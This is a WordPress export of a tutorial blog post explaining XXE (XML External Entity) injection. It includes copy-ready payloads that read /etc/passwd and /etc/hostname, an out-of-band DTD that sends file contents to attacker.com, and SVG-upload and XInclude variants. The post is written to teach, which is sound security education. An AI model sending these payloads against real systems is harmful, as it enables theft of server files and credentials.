{"id":1408,"date":"2024-09-06T03:00:59","date_gmt":"2024-09-06T03:00:59","guid":{"rendered":"https:\/\/hacking.cool\/?p=1408"},"modified":"2024-09-14T03:44:26","modified_gmt":"2024-09-14T03:44:26","slug":"xxe-xml-external-entities","status":"publish","type":"post","link":"https:\/\/hacking.cool\/atomanya\/xxe-xml-external-entities\/","title":{"rendered":"XXE – XML External Entities"},"content":{"rendered":"
\n
\"\"<\/figure><\/div>\n\n\n

Today we will cover one of the more interesting attack vectors – XXE. <\/p>\n\n\n\n

What is XXE? <\/strong><\/p>\n\n\n\n

XXE, or XML External Entity Injection, is a type of security vulnerability that occurs when an application processes untrusted XML input. Attackers exploit this by including malicious code in XML data, often leading to serious consequences like reading server files, disclosing sensitive information, or even remote code execution. This vulnerability can be particularly dangerous because XML is widely used in web services, APIs, and other data exchange formats.<\/p>\n\n\n\n

Let’s break it down further so that even if you’re new to the world of vulnerabilities, you’ll fully understand what XXE is and how it works.<\/p>\n\n\n\n

Breaking Down XML and Entities<\/strong><\/p>\n\n\n\n

First, it\u2019s important to know what XML is. XML (Extensible Markup Language) is a language used to structure data in a readable way for both machines and humans.<\/p>\n\n\n\n

For example, here\u2019s a simple XML file:<\/p>\n\n\n\n

<?xml version=\"1.0\"?>\n<user>\n  <name>John Doe<\/name>\n  <age>30<\/age>\n<\/user><\/code><\/pre>\n\n\n\n
XML entities<\/strong>, on the other hand, are like shortcuts or references. Instead of repeating the same data multiple times, you can define an entity once and reuse it. External entities go a step further by allowing the XML document to reference external resources like files.<\/p>\n\n\n\n
For example:<\/p>\n\n\n\n
<!DOCTYPE note [\n  <!ENTITY myData SYSTEM \"file:\/\/\/etc\/passwd\">\n]>\n<user>\n  <name>&myData;<\/name>\n<\/user><\/code><\/pre>\n\n\n\n
This snippet references a file on the system (in this case, \/etc\/passwd<\/code> on Unix-like systems), which contains a list of users. When the XML is processed, it tries to load the contents of that file.<\/p>\n\n\n\n
How XXE Attacks Work<\/strong><\/p>\n\n\n\n
An attacker can manipulate this feature to access sensitive data or perform malicious actions on the server. Let’s say a web application takes XML input from users and doesn’t properly check for external entities. An attacker could send the following malicious XML:<\/p>\n\n\n\n
<?xml version=\"1.0\"?>\n<!DOCTYPE user [\n  <!ENTITY myData SYSTEM \"file:\/\/\/etc\/passwd\">\n]>\n<user>\n  <name>&myData;<\/name>\n<\/user><\/code><\/pre>\n\n\n\n
Here\u2019s what happens:<\/p>\n\n\n\n
    \n
  • The XML parser processes the input.<\/li>\n\n\n\n
  • It finds the external entity myData<\/code> and follows the reference to the file \/etc\/passwd<\/code>.<\/li>\n\n\n\n
  • The contents of the file are inserted into the XML response and sent back to the attacker.<\/li>\n<\/ul>\n\n\n\n
    This could allow an attacker to steal files, read server configurations, or gain access to private data stored on the server.<\/p>\n\n\n\n
    XXE Attack Types<\/strong><\/p>\n\n\n\n
    In-band XXE (Classic)<\/strong>: This type allows the attacker to include external entities in the XML document. The response from the server contains the results, such as file contents (e.g., \/etc\/passwd<\/code>).<\/p>\n\n\n\n
    <?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n<!DOCTYPE foo [\n<!ENTITY xxe SYSTEM \"file:\/\/\/etc\/passwd\">\n]>\n<data>&xxe;<\/data><\/code><\/pre>\n\n\n\n
    Out-of-Band (OOB) XXE<\/strong>: If the server does not return the response in-band, OOB techniques allow the attacker to retrieve sensitive data via external URLs or network requests, like DNS or HTTP requests to a server the attacker controls.<\/p>\n\n\n\n
    <?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n<!DOCTYPE foo [\n<!ENTITY % xxe SYSTEM \"http:\/\/attacker.com\/xxe.dtd\">\n%xxe;\n]>\n<data>test<\/data><\/code><\/pre>\n\n\n\n
    xxe.dtd<\/code> hosted by the attacker:<\/p>\n\n\n\n
    <!ENTITY % file SYSTEM \"file:\/\/\/etc\/hostname\">\n<!ENTITY % all \"<!ENTITY send SYSTEM 'http:\/\/attacker.com\/?%file;'>\">\n%all;<\/code><\/pre>\n\n\n\n
    Error-based XXE<\/strong>: When direct data retrieval is not possible, this technique triggers XML parsing errors that leak sensitive information (like file contents) through error messages.<\/p>\n\n\n\n
    <?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n<!DOCTYPE foo [\n<!ENTITY % file SYSTEM \"file:\/\/\/etc\/passwd\">\n<!ENTITY % eval \"<!ENTITY &#x25; error SYSTEM 'file:\/\/\/nonexistent\/%file;'>\">\n%eval;\n%error;\n]>\n<data>test<\/data><\/code><\/pre>\n\n\n\n
    Blind XXE<\/strong>: Similar to OOB XXE but with no visible output to the attacker. It exploits indirect effects like timing delays or system responses to crafted payloads.<\/p>\n\n\n\n
    <?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n<!DOCTYPE foo [\n<!ENTITY xxe SYSTEM \"http:\/\/attacker.com\/?test\">\n]>\n<data>&xxe;<\/data><\/code><\/pre>\n\n\n\n
    Internal Entity Injection<\/strong>: This is an XXE exploitation technique where an attacker manipulates internal XML entities without the need for external resource references. A common use of this technique is injecting unexpected or harmful content into the document using pre-existing entities defined within the XML itself. In other words, we do not create new entities, but use the ones application uses itself by design, however, instead of writing expected data (email address, in this case), we try to reference other data.<\/p>\n\n\n\n
    <?xml version=\"1.0\"?>\n<!DOCTYPE user [\n  <!ENTITY name \"John Doe\">\n  <!ENTITY email SYSTEM \"file:\/\/\/etc\/passwd\">\n]>\n<user>\n  <name>&name;<\/name>\n  <email>&email;<\/email>\n<\/user><\/code><\/pre>\n\n\n\n
    XXE via Multipart File Upload<\/strong>: This type of XXE technique exploits the fact that some web applications allow users to upload files, such as images, documents, or XML-based formats, without properly validating or sanitizing the content. Attackers can insert malicious XML content within files like SVG or DOCX, which are processed by the server, leading to potential XXE vulnerabilities.<\/p>\n\n\n\n
    For example, the attacker crafts a file using a format that supports XML, such as SVG, and embeds XXE inside the file. The XML content references a system file, like \/etc\/hostname<\/code>.<\/p>\n\n\n\n
    <?xml version=\"1.0\" standalone=\"yes\"?>\n<!DOCTYPE svg [\n  <!ENTITY xxe SYSTEM \"file:\/\/\/etc\/hostname\">\n]>\n<svg width=\"128px\" height=\"128px\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\">\n  <text font-size=\"16\" x=\"0\" y=\"16\">&xxe;<\/text>\n<\/svg><\/code><\/pre>\n\n\n\n
    The attacker uploads the malicious file as a valid image or document through the website’s file upload functionality. <\/p>\n\n\n\n
    Once the server processes the file and displays or uses the data, the external entity is resolved, allowing access to sensitive information like \/etc\/hostname<\/code> or other internal files.<\/p>\n\n\n\n
    XXE via<\/strong> XInclude injection:<\/strong> XInclude injection is a specific type of XXE attack that exploits XML External Entities using the XInclude feature of XML. XInclude allows parts of XML documents to be dynamically included within other XML documents. Attackers can use this to inject external data into a document, such as file contents from the server’s filesystem.<\/p>\n\n\n\n
    This scenarios could occur when you cannot control the entire XML document or define a DTD, you inject an XInclude directive, which can include files from the server. The href<\/code> attribute points to the file you want to retrieve, such as \/etc\/passwd<\/code>. <\/p>\n\n\n\n
    Imagine you have a vulnerable application that has a form, such as a product search or stock checking feature, where user-supplied input is embedded inside an XML document processed server-side. In a typical request, the XML payload sent by the application might look like this:<\/p>\n\n\n\n
    POST \/product\/stock HTTP\/1.1\nHost: example.com\nContent-Length: 20\n\nproductId=12<\/code><\/pre>\n\n\n\n
    Note that the above productId can then be embedded into an XML request, and processed\/submitted to the backend. Hence, instead of submitting a normal productId<\/code>, you may try to inject an XInclude directive. <\/p>\n\n\n\n
    POST \/product\/stock HTTP\/1.1\nHost: example.com\nContent-Length: 220\n\nproductId=<foo xmlns:xi=\"http:\/\/www.w3.org\/2001\/XInclude\"><xi:include href=\"file:\/\/\/etc\/passwd\" parse=\"text\"\/><\/foo><\/code><\/pre>\n\n\n\n
    The application will process this XML, and instead of simply checking the productId<\/code>, it will attempt to include the file located at file:\/\/\/etc\/passwd<\/code>, which can be sensitive (password hashes, user information, etc.).<\/p>\n\n\n\n
    XInclude is a separate part of the XML standard. It allows the dynamic inclusion of external data, either from other parts of the document or external files. This approach works even if the XML parser has protections against DTD-based XXE attacks.<\/p>\n\n\n\n
    \n    
    Interactive XXE Vulnerability Demo<\/h2>\n    \n    
    \n